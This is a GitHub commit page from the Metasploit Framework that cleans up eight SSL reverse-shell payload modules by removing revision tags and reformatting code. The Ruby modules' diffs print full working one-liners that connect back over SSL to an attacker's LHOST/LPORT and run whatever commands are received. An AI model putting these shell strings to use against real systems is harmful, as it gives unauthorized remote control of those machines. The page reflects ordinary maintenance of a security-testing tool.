Skip to content

Commit c5e61f1

Browse files
author
jvazquez-r7
committed
Merge branch 'msftidy_ssl_shells' of https://github.com/sempervictus/metasploit-framework into sempervictus-msftidy_ssl_shells
2 parents f054317 + 7f80692 commit c5e61f1

File tree

8 files changed

+8
-44
lines changed

8 files changed

+8
-44
lines changed

modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
##
2-
# $Id$
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
@@ -22,11 +18,10 @@ module Metasploit3
2218
def initialize(info = {})
2319
super(merge_info(info,
2420
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
25-
'Version' => '$Revision$',
2621
'Description' => %q{
2722
Creates an interactive shell via mknod and telnet.
2823
This method works on Debian and other systems compiled
29-
without /dev/tcp support. This module uses the '-z'
24+
without /dev/tcp support. This module uses the '-z'
3025
option included on some systems to encrypt using SSL.
3126
},
3227
'Author' => 'RageLtMan',

modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
##
2-
# $Id$
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
@@ -22,7 +18,6 @@ module Metasploit3
2218
def initialize(info = {})
2319
super(merge_info(info,
2420
'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)',
25-
'Version' => '$Revision$',
2621
'Description' => 'Creates an interactive shell via perl, uses SSL',
2722
'Author' => 'RageLtMan',
2823
'License' => BSD_LICENSE,

modules/payloads/singles/cmd/unix/reverse_php_ssl.rb

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
##
2-
# $Id$
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
@@ -22,7 +18,6 @@ module Metasploit3
2218
def initialize(info = {})
2319
super(merge_info(info,
2420
'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)',
25-
'Version' => '$Revision$',
2621
'Description' => 'Creates an interactive shell via php, uses SSL',
2722
'Author' => 'RageLtMan',
2823
'License' => BSD_LICENSE,

modules/payloads/singles/cmd/unix/reverse_python_ssl.rb

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
##
2-
# $Id$
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
@@ -22,7 +18,6 @@ module Metasploit3
2218
def initialize(info = {})
2319
super(merge_info(info,
2420
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
25-
'Version' => '$Revision$',
2621
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
2722
'Author' => 'RageLtMan',
2823
'License' => BSD_LICENSE,

modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
##
2-
# $Id$
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
@@ -22,7 +18,6 @@ module Metasploit3
2218
def initialize(info = {})
2319
super(merge_info(info,
2420
'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)',
25-
'Version' => '$Revision$',
2621
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
2722
'Author' => 'RageLtMan',
2823
'License' => MSF_LICENSE,
@@ -44,6 +39,9 @@ def generate
4439
def command_string
4540
lhost = datastore['LHOST']
4641
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
47-
"ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'"
42+
res = "ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new"
43+
res << "(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while"
44+
res << "(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'"
45+
return res
4846
end
4947
end

modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
##
2-
# $Id$
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
@@ -21,8 +17,7 @@ module Metasploit3
2117

2218
def initialize(info = {})
2319
super(merge_info(info,
24-
'Name' => 'Unix Command Shell, Double reverse TCP SSL (telnet)',
25-
'Version' => '$Revision$',
20+
'Name' => 'Unix Command Shell, Double Reverse TCP SSL (telnet)',
2621
'Description' => 'Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option',
2722
'Author' => [
2823
'hdm', # Original module

modules/payloads/singles/python/shell_reverse_tcp_ssl.rb

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
##
2-
# $Id$
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
@@ -22,7 +18,6 @@ module Metasploit3
2218
def initialize(info = {})
2319
super(merge_info(info,
2420
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
25-
'Version' => '$Revision$',
2621
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
2722
'Author' => 'RageLtMan',
2823
'License' => BSD_LICENSE,

modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
##
2-
# $Id$
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
@@ -24,7 +20,6 @@ module Metasploit3
2420
def initialize(info = {})
2521
super(merge_info(info,
2622
'Name' => 'Ruby Command Shell, Reverse TCP SSL',
27-
'Version' => '$Revision$',
2823
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
2924
'Author' => 'RageLtMan',
3025
'License' => MSF_LICENSE,
@@ -46,7 +41,8 @@ def generate
4641
def ruby_string
4742
lhost = datastore['LHOST']
4843
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
49-
rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end"
44+
rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\","
45+
rbs << "\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end"
5046
return rbs
5147
end
5248
end

0 commit comments

Comments
 (0)